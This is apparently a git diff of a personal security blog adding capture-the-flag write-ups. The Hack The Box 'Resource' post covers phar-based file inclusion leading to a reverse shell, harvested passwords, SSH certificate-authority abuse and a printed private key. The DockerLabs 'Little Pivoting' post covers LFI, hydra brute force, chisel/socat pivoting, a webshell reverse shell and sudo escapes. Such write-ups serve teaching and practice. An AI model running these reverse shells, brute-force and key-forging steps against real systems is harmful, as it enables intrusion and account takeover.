+[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#phar-archive-structure) + +https://www.php.net/manual/en/context.phar.php + +```php + +``` + +zip the file.php and upload + +```bash +http://itrc.ssg.htb/?page=phar://uploads/c4fc5aed4a14dce224f81471133d1c0673819db1.zip/shell +``` + +![Image](../assets/img/post/resource/image-8.png) + +```bash +http://itrc.ssg.htb/?page=phar://uploads/c4fc5aed4a14dce224f81471133d1c0673819db1.zip/shell&cmd=whoami +``` + +![Image](../assets/img/post/resource/image-9.png) + +## RCE | Remote Code Execution + +Now we can execute remote code for get a reverse shell. + +**Encode to url with burpsuite** + +`bash -c 'bash -i >& /dev/tcp/10.10.16.50/9090 0>&1'` + +```bash +http://itrc.ssg.htb/?page=phar://uploads/c4fc5aed4a14dce224f81471133d1c0673819db1.zip/shell&cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.10.16.50/9090+0%3E%261%27 +``` + +```bash +rlwrap nc -nlvp 9090 +``` + +![Image](../assets/img/post/resource/image-10.png) + +We have a 2 users: + +``` +msainristil:x:1000:1000::/home/msainristil:/bin/bash +zzinter:x:1001:1001::/home/zzinter:/bin/bash +``` + +``` +$dsn = "mysql:host=db;dbname=resourcecenter;"; +$dbusername = "jj"; +$dbpassword = "ugEG5rR5SG8uPd"; +$pdo = new PDO($dsn, $dbusername, $dbpassword); +``` + +`cat itrc.ssg.htb.har | grep msainristil` + +![Image](../assets/img/post/resource/image-11.png) + +```bash +text": "user=msainristil&pass=82yards2closeit", + "value": "msainristil" +``` + +```bash +ssh msainristil@itrc.ssg.htb +``` + +![Image](../assets/img/post/resource/image-12.png) + +We found a 2 files in decomission_old_ca + +## Lateral Movement | Zzinter itrc + +The main purpose of ca-itrc and ca-itrc.pub is to sign public keys of other users, thereby generating certificates that validate the identity of users. This allows for secure authentication in systems that trust the certificate authority (CA). + +![Image](../assets/img/post/resource/image-13.png) + + +1. Create a new key + +```ssh +ssh-keygen -t rsa -b 2048 -f racc0x +``` + +2. Sign the public key with the CA's private key + +```ssh +ssh-keygen -s ca-itrc -I ca-itrc.pub -n zzinter racc0x.pub +``` + +3. Verify the certificate + +```ssh +ssh-keygen -Lf racc0x-cert.pub +``` + +4. Login in the host as zzinter + +```ssh +ssh -o CertificateFile=racc0x-cert.pub -i racc0x zzinter@localhost +``` + + +![Image](../assets/img/post/resource/image-14.png) + +## Lateral Movement | Root itrc + +We can do the same procces for root + +```bash +ssh-keygen -t rsa -b 2048 -f root +ssh-keygen -s ca-itrc -I ca-itrc.pub -n root root.pub +ssh -o CertificateFile=root-cert.pub -i root root@localhost +``` + +![Image](../assets/img/post/resource/image-15.png) + + +We found as zzinter a code + +`sign_key_api.sh` + +```bash +#!/bin/bash + +usage () { + echo "Usage: $0 " + exit 1 +} + +if [ "$#" -ne 3 ]; then + usage +fi + +public_key_file="$1" +username="$2" +principal_str="$3" + +supported_principals="webserver,analytics,support,security" +IFS=',' read -ra principal <<< "$principal_str" +for word in "${principal[@]}"; do + if ! echo "$supported_principals" | grep -qw "$word"; then + echo "Error: '$word' is not a supported principal." + echo "Choose from:" + echo " webserver - external web servers - webadmin user" + echo " analytics - analytics team databases - analytics user" + echo " support - IT support server - support user" + echo " security - SOC servers - support user" + echo + usage + fi +done + +if [ ! -f "$public_key_file" ]; then + echo "Error: Public key file '$public_key_file' not found." + usage +fi + +public_key=$(cat $public_key_file) + +curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" +``` + +## Lateral Movement | Support ssg + +Repeat the proccess + +`ssh-keygen -t rsa -d 2048 -f support` + +`chmod 600 support` + +```bash +bash ./sign_key_api.sh support.pub support support +``` + +```bash +echo " ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgVTxuoP/banVH1XRmI9muNjrcQ05tY2m5rr+eqqLjVtcAAAADAQABAAABAQDDlPBIRX6jnGGizXf5Ps+iovHfkVbWE51/d6mpN4O8Z6M0GPsGGe6hJ30FIPFby47HeShIdidUd572ZlBeBr6woRxXI242UFjw1VGDhZMYSoH8QAC5oYtoS/vSWNiTETBCTkL20ddU2bUUmMhxg3JLhNue6NcUwgJOz2tCQcsRC41b8RkuH7JrPc19R8lsYPHwUGaK+ridimuHL2QsusB5KxsfHvr4gVud7TT1YHvy0nYa2DGM6GsJ7oN4/Jt4lcFLFs+tpiRFsPOMTk+9RbMmsUjk/mTCwMlys7sXVrl9pIERISrXEmQe89+X2Tl/k0Wr0vTOaLkHNLMWYZ6+AD+jAAAAAAAAACgAAAABAAAAB3N1cHBvcnQAAAALAAAAB3N1cHBvcnQAAAAAZuE5o///////////AAAAAAAAAIIAAAAVcGVybWl0LVgxMS1mb3J3YXJkaW5nAAAAAAAAABdwZXJtaXQtYWdlbnQtZm9yd2FyZGluZwAAAAAAAAAWcGVybWl0LXBvcnQtZm9yd2FyZGluZwAAAAAAAAAKcGVybWl0LXB0eQAAAAAAAAAOcGVybWl0LXVzZXItcmMAAAAAAAAAAAAAADMAAAALc3NoLWVkMjU1MTkAAAAggeDwK53LVKHJh+rMLcA2WABxbtDgyhm57MATyY0VKbEAAABTAAAAC3NzaC1lZDI1NTE5AAAAQBRXvjDs2DgTA2aM3eMElVZrECn5Nh/1gycQhDkSaAVXEA5u6c2hAlOiQFJtLTYY+mLdafmv5MooQh92AdgrjQY= zzinter@itrc" > racc0x +``` + +```bash +ssh -i support -p 2222 -o CertificateFile=racc0x support@172.223.0.1 +``` + +![Image](../assets/img/post/resource/image-16.png) + +![Image](../assets/img/post/resource/image-17.png) + +## Lateral Movement | Zzinter ssg + +We go to do the same proccess + +`ssh-keygen -t rsa -b 2048 -f zzinter` + +```bash +echo "ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgff6r7XjpBfVUeEjR8/R2MMMlznI8UndoAxoNgKwuIAQAAAADAQABAAABAQDHnZIE137c9lDZzVmrru1JuzIenLN9ImpXMpza8+Ny2P9t0rDjTCuZsXtPa7X60gFxJUzjylRbXEvvb3csDT+qgjwGkAG0AcmBF7RTGiKddcE0eon3WvU+3xs4ffiZm1vOZ6YzSyiKWAzz+xD4Q3S2zRQwoX1Q+E7/QtVibkVhO5rO3j5NpXLRocXi4aNzjKk6S7POF7UH/XNjzb/iVqiY+XiuHwQDFilydiZkWAEJxnRWLZk+Noict1OJsEEBeff7ki/pvK6pvYepL3NyYaB7xOp+IR02m+RjUf0VVNsA2zFiy1XgEydhHEkLyJz667CnqQQxRxPPyrkeiL6lk/TxAAAAAAAAACoAAAABAAAAB3p6aW50ZXIAAAAQAAAADHp6aW50ZXJfdGVtcAAAAABm4UHK//////////8AAAAAAAAAggAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAAAAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAAAAAAAAA5wZXJtaXQtdXNlci1yYwAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAFMAAAALc3NoLWVkMjU1MTkAAABAluOC7mW2itTs0+Zz+GRpC5MLqHxahXMfDH8fWb2rRTlvYoGHO23i+zMywGiUWLLpXEL3Se1ZoN5Bihh583vXBw== zzinter@itrc" > raccox +``` + +`chmod 600 raccox` + +`chmod 600 zzinter` + +```bash +ssh -p 2222 -i zzinter -o CertificateFile=raccox zzinter@172.223.0.1 +``` + +![Image](../assets/img/post/resource/image-18.png) + +![Image](../assets/img/post/resource/image-19.png) + +`Sudo -l` + +![Image](../assets/img/post/resource/image-20.png) + +This is the same process as with `sign_key_api.sh`. + +- sign_key.sh + +```python +#!/bin/bash + +usage () { + echo "Usage: $0 " + exit 1 +} + +if [ "$#" -ne 5 ]; then + usage +fi + +ca_file="$1" +public_key_file="$2" +username="$3" +principal_str="$4" +serial="$5" + +if [ ! -f "$ca_file" ]; then + echo "Error: CA file '$ca_file' not found." + usage +fi + +itca=$(cat /etc/ssh/ca-it) +ca=$(cat "$ca_file") +if [[ $itca == $ca ]]; then + echo "Error: Use API for signing with this CA." + usage +fi + +if [ ! -f "$public_key_file" ]; then + echo "Error: Public key file '$public_key_file' not found." + usage +fi + +supported_principals="webserver,analytics,support,security" +IFS=',' read -ra principal <<< "$principal_str" +for word in "${principal[@]}"; do + if ! echo "$supported_principals" | grep -qw "$word"; then + echo "Error: '$word' is not a supported principal." + echo "Choose from:" + echo " webserver - external web servers - webadmin user" + echo " analytics - analytics team databases - analytics user" + echo " support - IT support server - support user" + echo " security - SOC servers - support user" + echo + usage + fi +done + +if ! [[ $serial =~ ^[0-9]+$ ]]; then + echo "Error: '$serial' is not a number." + usage +fi + +ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principal" "$public_key_file" +``` + +## Lateral Movement | Root ssg + +```python +import string +import subprocess +s = string.ascii_letters+'+'+ '-' + '\n' + ' '+ '/' + '=' + string.digits +strlist = '-' + +while True: + for i in s: + listres = i + strlist + listtemp = '*' + listres + with open('testca', 'w') as f: + f.write(listtemp) + a=subprocess.run(f'sudo /opt/sign_key.sh ./testca test.pub root root_user 1', shell=True, stdout=subprocess.PIPE, text=True) + if 'Use API for signing with this CA' in a.stdout: + strlist = listres + print(strlist) + break +``` + +`ca.key` + +``` +-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc +rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ +AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA +cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV +QBAgM= +-----END OPENSSH PRIVATE KEY----- +``` + +`chmod 600 ca.key` + +```bash +ssh-keygen -s ca.key -z 200 -I root -V -10w:forever -n root_user root.pub +``` + +The output is give us a root-cert.pub + +```bash +ssh root@itrc.ssg.htb -p2222 -i root -i root-cert.pub +``` + +![Image](../assets/img/post/resource/image-21.png) \ No newline at end of file diff --git a/_posts/2024-09-21-littlepivoting.md b/_posts/2024-09-21-littlepivoting.md new file mode 100644 index 0000000..6259f88 --- /dev/null +++ b/_posts/2024-09-21-littlepivoting.md @@ -0,0 +1,356 @@ +--- +title: Docker Labs - Little Pivoting +date: 2024-08-23 00:00:00 +8000 +categories: [dockerlabs ] +tags: [DockerLabs, Pivoting, SSH Brute Force, Hydra, Sudoers, Chisel, Socat, Remote Port Forwarding, SUID, Abusing File Upload] +image: + path: /assets/img/post/littlepivoting/pivoting.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Docker Labs - Little Pivoting. +--- + +## Box Info + +| Name | Little Pivoting | +| :-------------------- | ---------------: | +| Release Date | 19 April, 2024 | +| OS | Linux | +| Rated Difficulty | Medium | + +**Download lab here: https://dockerlabs.es/ + +# Network diagram + +![Image](../assets/img/post/littlepivoting/image.png) +![alt text](image.png) + +## Nmap + +```bash +nmap -p- --open --min-rate 5000 -n -sS -vvv -Pn 10.10.10.2 -oG allports +nmap -sCV -p 22,80 10.10.10.2 -oN targeted +``` + +```bash +# Nmap 7.94SVN scan initiated Fri Sep 20 19:00:41 2024 as: nmap -sCV -p 22,80 -oN targeted 10.10.10.2 +Nmap scan report for 10.10.10.2 (10.10.10.2) +Host is up (0.00015s latency). + +PORT STATE SERVICE VERSION +22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) +| ssh-hostkey: +| 256 03:cf:72:54:de:54:ae:cd:2a:16:58:6b:8a:f5:52:dc (ECDSA) +|_ 256 13:bb:c2:12:f5:97:30:a1:49:c7:f9:d0:ba:d0:5e:f7 (ED25519) +80/tcp open http Apache httpd 2.4.57 ((Debian)) +|_http-title: Apache2 Debian Default Page: It works +|_http-server-header: Apache/2.4.57 (Debian) +Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + +Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . +# Nmap done at Fri Sep 20 19:00:48 2024 -- 1 IP address (1 host up) scanned in 6.66 seconds +``` + +The first page we found a default page from Apache, I will use feroxbuster for directory scan for found some interesting. + +```bash +feroxbuster -u http://10.10.10.2/ +``` + +![Image](../assets/img/post/littlepivoting/image-1.png) + +http://10.10.10.2/shop/ + +![Image](../assets/img/post/littlepivoting/image-2.png) + +Its a variable of php, so that means we can use a Local File Inclusion with php. + +![Image](../assets/img/post/littlepivoting/image-3.png) + +## LFI + +```bash +http://10.10.10.2/shop/index.php?archivo=/etc/passwd +``` + +```bash +http://10.10.10.2/shop/index.php?archivo=../../../../etc/passwd +``` + +_By adding 'index.php' at the end of the URL, the web server interprets that a PHP file in the root directory of the website is being accessed, and then the 'archivo' parameter is used to include the specified file in the URL._ + +![Image](../assets/img/post/littlepivoting/image-4.png) + +**We found 2 users:** + +seller:x:1000:1000:seller,,,:/home/seller:/bin/bash +manchi:x:1001:1001:manchi,,,:/home/manchi:/bin/bash + +### Brute Force Attack | SSH + +```bash +hydra -l manchi -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.2 -t 4 +``` + +![Image](../assets/img/post/littlepivoting/image-5.png) + +```bash +> hostname -I +``` + +![Image](../assets/img/post/littlepivoting/image-6.png) + +The script scans for devices on the network 20.20.20.1 to 20.20.20.254 by pinging each IP address to find out which ones are active. + +```bash +#!/bin/bash + +for host in $(seq 1 254); do + timeout 1 bash -c "ping -c 1 20.20.20.$host &>/dev/null" && echo "[+] HOST - 20.20.20.$host" +done; wait +``` + +![Image](../assets/img/post/littlepivoting/image-7.png) + +![Image](../assets/img/post/littlepivoting/image-8.png) + +## Pivoting | 20.20.20.0/24 + +#### manchi + +1. Upload chisel to victim machine + +2. Execute chisel in attack machine + +```bash +./chisel server -p 6150 --reverse +``` + +![Image](../assets/img/post/littlepivoting/image-9.png) + +3. Execute chisel in victim machine. + +As you can see, port `1080` is open by default in our machine. This port is crucial for the exchange of communications between 10.10.10.2 and our IP, {10.10.10.1}. + +```bash +./chisel client {IP}:6150 R:socks +``` + +![Image](../assets/img/post/littlepivoting/image-10.png) + +4. We just need to configure the proxychains. + +4. 1. uncomment `dynamic_chain` and comment `strict_chain` + +![Image](../assets/img/post/littlepivoting/image-11.png) + +4. 2. Comment socks4 and add socks5 127.0.0.1 1080 + +![Image](../assets/img/post/littlepivoting/image-12.png) + +## Nmap | ProxyChains + +Specify ports 22 and 80 because they are the only ones that appeared in the initial scan. + +```BASH +sudo proxychains nmap -sCV -sT -Pn 22,80 20.20.20.3 2>&1 | grep -vE "timeout|OK" +``` + +![Image](../assets/img/post/littlepivoting/image-13.png) + +### FoxyProxy + +We gonna add the socks to foxyproxy extension in firefox for see the web page of 20.20.20.3. + +![Image](../assets/img/post/littlepivoting/image-14.png) + +We have another default page from Apache 2. I guess we have to follow the same process as before. + +![Image](../assets/img/post/littlepivoting/image-15.png) + +```bash +feroxbuster -u http://20.20.20.3/ --proxy socks5://127.0.0.1:1080 +``` + + +```bash +feroxbuster -u http://20.20.20.3/secret.php/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --proxy socks5://127.0.0.1:1080 -x php,html +``` + +![Image](../assets/img/post/littlepivoting/image-16.png) + +Possible user: **Mario** + +## Remote Port Forwarding + +I suppose we have to do the brute force attack process again to get "mario" password, however we cannot specify a specific port for hydra, it has its own default port which is 22. Now we will bring port 22 from machine 20.20.20.3 to be our port 22, a remote port forwarding for attack the our port 22. + +We need to create a new login as manchi and run again the chisel. + +```bash +./chisel client 10.10.10.1:6150 R:22:20.20.20.3:22 +``` + +![Image](../assets/img/post/littlepivoting/image-17.png) + +```bash +./chisel server -p 6150 --reverse +``` + +![Image](../assets/img/post/littlepivoting/image-18.png) + +```bash +lsof -i:22 +``` + +![Image](../assets/img/post/littlepivoting/image-19.png) + +## Brute Force Attack | 20.20.20.3 + +### Mario + +```bash +hydra -l mario ssh://127.0.0.1 -P /usr/share/wordlists/rockyou.txt -t 4 +``` + +![Image](../assets/img/post/littlepivoting/image-20.png) + +```bash +proxychains ssh mario@20.20.20.3 +``` + +![Image](../assets/img/post/littlepivoting/image-21.png) + +`sudo -l` + +![Image](../assets/img/post/littlepivoting/image-22.png) + +[GTFO](https://gtfobins.github.io/gtfobins/vim/#shell) + +```bash +sudo vim -c ':!/bin/sh' +``` + +![Image](../assets/img/post/littlepivoting/image-23.png) + +Run againt the script. + +![Image](../assets/img/post/littlepivoting/image-24.png) + +## Pivoting | 30.30.30.0/24 + +We send the chisel bin from 20.20.20.2(manchi) to 20.20.20.3(Mario). + +![Image](../assets/img/post/littlepivoting/image-25.png) + +![Image](../assets/img/post/littlepivoting/image-26.png) + +Now we will use **socat**, which will allow us, from the machine 30.30.30.2, to connect with chisel to the machine 20.20.20.2, and the machine 20.20.20.2 will redirect that connection to 10.10.10.1, which is us. + +https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat + +![Image](../assets/img/post/littlepivoting/image-27.png) + +```bash +manchi 20.20.20.2 +./socat TCP-LISTEN:1111,fork TCP:10.10.10.1:6150 +``` + +![Image](../assets/img/post/littlepivoting/image-28.png) + +1. **Connection from 20.20.20.3 to 20.20.20.2**: The machine 20.20.20.3 connects to the compromised machine (20.20.20.2) on port 1111 using chisel and the fork option allows handling multiple connections simultaneously.. + +2. **Redirection by socat**: When a connection is established on port 1111 of 20.20.20.2, socat redirects that connection to the machine 10.10.10.1 on port 6150. + +```bash +root 20.20.20.3 +./chisel client 20.20.20.2:1111 R:1111:socks +``` + +![Image](../assets/img/post/littlepivoting/image-29.png) + +3. **Data flow**: This allows any traffic that arrives at port 1111 on 20.20.20.2 to be sent to 10.10.10.1:6150, and vice versa, enabling communication between 20.20.20.3 and 10.10.10.1 through the compromised machine. + +![Image](../assets/img/post/littlepivoting/image-30.png) + +```java +2024/09/21 00:48:54 server: session#4: tun: proxy#R:127.0.0.1:1111=>socks: Listening +``` + +### Nmap | 30.30.30.3 + +```bash +sudo proxychains nmap -sCV -sT -Pn -p 22,80 30.30.30.3 2>&1 | grep -vE "timeout|OK" +``` + +We have only port 80 open. + +![Image](../assets/img/post/littlepivoting/image-31.png) + +## RCE + +config the foxyproxy for visualizer the web page + +![Image](../assets/img/post/littlepivoting/image-32.png) + +I will upload empty file for see if found some error when upload the empty file. + +![Image](../assets/img/post/littlepivoting/image-33.png) + +```bash +feroxbuster -u http://30.30.30.3/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --proxy socks5://127.0.0.1:1111 -x php,html,js,txt +``` + +![Image](../assets/img/post/littlepivoting/image-34.png) + +```python + +``` + +![Image](../assets/img/post/littlepivoting/image-35.png) + +For get a reverse shell we need to log in as mario. +(proxychains ssh mario@20.20.20.3 | chocolate) + +![Image](../assets/img/post/littlepivoting/image-36.png) + +![Image](../assets/img/post/littlepivoting/image-37.png) + +![Image](../assets/img/post/littlepivoting/image-38.png) + +```bash +root 20.20.20.3 +./socat TCP-LISTEN:443,fork TCP:20.20.20.2:442 +``` + +```bash +manchi 20.20.20.2 +./socat TCP-LISTEN:442,fork TCP:10.10.10.1:441 +``` + +![Image](../assets/img/post/littlepivoting/image-39.png) + +```python +http://30.30.30.3/uploads/f.php?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/30.30.30.2/443+0%3E%261%27 +``` + +![Image](../assets/img/post/littlepivoting/image-40.png) + +## Privilege Escalation | SUID + +![Image](../assets/img/post/littlepivoting/image-41.png) + +sudo -l + +![Image](../assets/img/post/littlepivoting/image-42.png) + +[GTFO-Env](https://ubh.natro92.fun/gtfobins/env/#sudo) + +sudo env /bin/bash + +![Image](../assets/img/post/littlepivoting/image-43.png) + +Pwned! + diff --git a/_posts/2025-01-31-escapetwo.md b/_posts/2025-01-31-escapetwo.md new file mode 100644 index 0000000..3a70980 --- /dev/null +++ b/_posts/2025-01-31-escapetwo.md @@ -0,0 +1,18 @@ +--- +title: HTB - EscapeTwo +date: 2025-01-31 00:00:00 +8000 +categories: [hackthebox] +tags: [HackTheBox, smb, kerberos, ldap, AD, Active Directory] +image: + path: /assets/img/post/escapetwo/EscapeTwo.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - EscapeTwo. +--- + +## Box Info + +| Name | EscapeTwo | +| :-------------------- | ---------------: | +| Release Date | 31 Jun, 2025 | +| OS | Windows | +| Rated Difficulty | Easy | \ No newline at end of file diff --git a/_tabs/about.md b/_tabs/about.md index ddb2bc4..a5276a1 100644 --- a/_tabs/about.md +++ b/_tabs/about.md @@ -1,8 +1,33 @@ --- -# the default layout is 'page' -icon: fas fa-info-circle -order: 4 +title: About +icon: fas fa-info +order: 5 --- -> Add Markdown syntax content to file `_tabs/about.md`{: .filepath } and it will show up on this page. -{: .prompt-tip } +Welcome to my security blog, where I like to discuss my personal security research, experiences, and opinions on all things security. I'm really interested web hacking and network security. + +Here I’ll be posting writeups and CTFs solutions which you can read to learn from me, or to solve the challange with my solution. I’ll also be posting security investigations and proof of concepts I create, within the explanation of the vulnerability. + +I also really like doing CTFs particularly on [Hackthebox](https://app.hackthebox.com/) + +I'm always happy to chat if you have any questions. + + I am currently completed Hack The Box ProLabs: [Dante]() [Zephyr]() [POO]() + +- Certifications: + +Zephyr + +Dante + +- CTFs platforms: + +

+ +## Contact Information: + +Github +Twitter +Linkedin +Discord + diff --git a/assets/img/Dante.png b/assets/img/Dante.png new file mode 100644 index 0000000..85d5bbb Binary files /dev/null and b/assets/img/Dante.png differ diff --git a/assets/img/Discord.png b/assets/img/Discord.png new file mode 100644 index 0000000..87119f8 Binary files /dev/null and b/assets/img/Discord.png differ diff --git a/assets/img/Github.png b/assets/img/Github.png new file mode 100644 index 0000000..9490ffc Binary files /dev/null and b/assets/img/Github.png differ diff --git a/assets/img/Linkedin.png b/assets/img/Linkedin.png new file mode 100644 index 0000000..14e8125 Binary files /dev/null and b/assets/img/Linkedin.png differ diff --git a/assets/img/Twitter.png b/assets/img/Twitter.png new file mode 100644 index 0000000..3e2fe6d Binary files /dev/null and b/assets/img/Twitter.png differ diff --git a/assets/img/Zephyr.png b/assets/img/Zephyr.png new file mode 100644 index 0000000..d3698be Binary files /dev/null and b/assets/img/Zephyr.png differ diff --git a/assets/img/cathy.png b/assets/img/cathy.png new file mode 100644 index 0000000..b0c6672 Binary files /dev/null and b/assets/img/cathy.png differ diff --git a/assets/img/favicons/android-chrome-192x192.png b/assets/img/favicons/android-chrome-192x192.png new file mode 100644 index 0000000..08f0f4f Binary files /dev/null and b/assets/img/favicons/android-chrome-192x192.png differ diff --git a/assets/img/favicons/android-chrome-256x256.png b/assets/img/favicons/android-chrome-256x256.png new file mode 100644 index 0000000..0504d04 Binary files /dev/null and b/assets/img/favicons/android-chrome-256x256.png differ diff --git a/assets/img/favicons/apple-touch-icon.png b/assets/img/favicons/apple-touch-icon.png new file mode 100644 index 0000000..4940abf Binary files /dev/null and b/assets/img/favicons/apple-touch-icon.png differ diff --git a/assets/img/favicons/favicon-16x16.png b/assets/img/favicons/favicon-16x16.png new file mode 100644 index 0000000..a326c25 Binary files /dev/null and b/assets/img/favicons/favicon-16x16.png differ diff --git a/assets/img/favicons/favicon-32x32.png b/assets/img/favicons/favicon-32x32.png new file mode 100644 index 0000000..35d2922 Binary files /dev/null and b/assets/img/favicons/favicon-32x32.png differ diff --git a/assets/img/favicons/favicon.ico b/assets/img/favicons/favicon.ico new file mode 100644 index 0000000..91f2623 Binary files /dev/null and b/assets/img/favicons/favicon.ico differ diff --git a/assets/img/favicons/mstile-150x150.png b/assets/img/favicons/mstile-150x150.png new file mode 100644 index 0000000..b290438 Binary files /dev/null and b/assets/img/favicons/mstile-150x150.png differ diff --git a/assets/img/favicons/site.webmanifest b/assets/img/favicons/site.webmanifest new file mode 100644 index 0000000..de65106 --- /dev/null +++ b/assets/img/favicons/site.webmanifest @@ -0,0 +1,19 @@ +{ + "name": "", + "short_name": "", + "icons": [ + { + "src": "/android-chrome-192x192.png", + "sizes": "192x192", + "type": "image/png" + }, + { + "src": "/android-chrome-256x256.png", + "sizes": "256x256", + "type": "image/png" + } + ], + "theme_color": "#ffffff", + "background_color": "#ffffff", + "display": "standalone" +} diff --git a/assets/img/inspectorardilla.jpg b/assets/img/inspectorardilla.jpg new file mode 100644 index 0000000..5b840c0 Binary files /dev/null and b/assets/img/inspectorardilla.jpg differ diff --git a/assets/img/post/Bizness5.png b/assets/img/post/Bizness5.png new file mode 100644 index 0000000..dc77d47 Binary files /dev/null and b/assets/img/post/Bizness5.png differ diff --git a/assets/img/post/Lantern/1.png b/assets/img/post/Lantern/1.png new file mode 100644 index 0000000..09a3e24 Binary files /dev/null and b/assets/img/post/Lantern/1.png differ diff --git a/assets/img/post/Lantern/2.png b/assets/img/post/Lantern/2.png new file mode 100644 index 0000000..ee84dca Binary files /dev/null and b/assets/img/post/Lantern/2.png differ diff --git a/assets/img/post/Lantern/3.png b/assets/img/post/Lantern/3.png new file mode 100644 index 0000000..b9d23a4 Binary files /dev/null and b/assets/img/post/Lantern/3.png differ diff --git a/assets/img/post/Lantern/Lantern.png b/assets/img/post/Lantern/Lantern.png new file mode 100644 index 0000000..19d1f64 Binary files /dev/null and b/assets/img/post/Lantern/Lantern.png differ diff --git a/assets/img/post/Lantern/image-1.png b/assets/img/post/Lantern/image-1.png new file mode 100644 index 0000000..2ec1c56 Binary files /dev/null and b/assets/img/post/Lantern/image-1.png differ diff --git a/assets/img/post/Lantern/image-10.png b/assets/img/post/Lantern/image-10.png new file mode 100644 index 0000000..7a123c6 Binary files /dev/null and b/assets/img/post/Lantern/image-10.png differ diff --git a/assets/img/post/Lantern/image-11.png b/assets/img/post/Lantern/image-11.png new file mode 100644 index 0000000..9753cec Binary files /dev/null and b/assets/img/post/Lantern/image-11.png differ diff --git a/assets/img/post/Lantern/image-12.png b/assets/img/post/Lantern/image-12.png new file mode 100644 index 0000000..f6f0f70 Binary files /dev/null and b/assets/img/post/Lantern/image-12.png differ diff --git a/assets/img/post/Lantern/image-13.png b/assets/img/post/Lantern/image-13.png new file mode 100644 index 0000000..21800a5 Binary files /dev/null and b/assets/img/post/Lantern/image-13.png differ diff --git a/assets/img/post/Lantern/image-14.png b/assets/img/post/Lantern/image-14.png new file mode 100644 index 0000000..8a16f5a Binary files /dev/null and b/assets/img/post/Lantern/image-14.png differ diff --git a/assets/img/post/Lantern/image-15.png b/assets/img/post/Lantern/image-15.png new file mode 100644 index 0000000..84a8381 Binary files /dev/null and b/assets/img/post/Lantern/image-15.png differ diff --git a/assets/img/post/Lantern/image-16.png b/assets/img/post/Lantern/image-16.png new file mode 100644 index 0000000..9230ba4 Binary files /dev/null and b/assets/img/post/Lantern/image-16.png differ diff --git a/assets/img/post/Lantern/image-17.png b/assets/img/post/Lantern/image-17.png new file mode 100644 index 0000000..fdc4cd5 Binary files /dev/null and b/assets/img/post/Lantern/image-17.png differ diff --git a/assets/img/post/Lantern/image-18.png b/assets/img/post/Lantern/image-18.png new file mode 100644 index 0000000..7430d64 Binary files /dev/null and b/assets/img/post/Lantern/image-18.png differ diff --git a/assets/img/post/Lantern/image-19.png b/assets/img/post/Lantern/image-19.png new file mode 100644 index 0000000..c918e28 Binary files /dev/null and b/assets/img/post/Lantern/image-19.png differ diff --git a/assets/img/post/Lantern/image-2.png b/assets/img/post/Lantern/image-2.png new file mode 100644 index 0000000..2fb3f48 Binary files /dev/null and b/assets/img/post/Lantern/image-2.png differ diff --git a/assets/img/post/Lantern/image-20.png b/assets/img/post/Lantern/image-20.png new file mode 100644 index 0000000..2113541 Binary files /dev/null and b/assets/img/post/Lantern/image-20.png differ diff --git a/assets/img/post/Lantern/image-21.png b/assets/img/post/Lantern/image-21.png new file mode 100644 index 0000000..b7269f5 Binary files /dev/null and b/assets/img/post/Lantern/image-21.png differ diff --git a/assets/img/post/Lantern/image-22.png b/assets/img/post/Lantern/image-22.png new file mode 100644 index 0000000..0c9ecd3 Binary files /dev/null and b/assets/img/post/Lantern/image-22.png differ diff --git a/assets/img/post/Lantern/image-23.png b/assets/img/post/Lantern/image-23.png new file mode 100644 index 0000000..fdc4cd5 Binary files 